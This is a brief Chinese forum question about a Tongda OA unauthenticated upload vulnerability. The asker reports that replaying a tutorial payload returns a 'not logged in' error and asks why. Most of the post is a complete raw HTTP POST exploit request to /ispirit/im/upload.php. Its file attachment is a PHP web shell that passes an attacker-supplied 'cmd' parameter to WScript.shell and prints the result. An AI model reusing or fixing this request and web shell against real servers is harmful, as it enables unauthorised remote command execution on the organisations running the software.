通达OA漏洞，没有登录的情况下，是怎么上传成功的？

Question

为什么我抓包，复制payload，发送显示-ERP未登录，网上的教程都可以啊

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
 
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
 
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
 
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
 
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
 
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--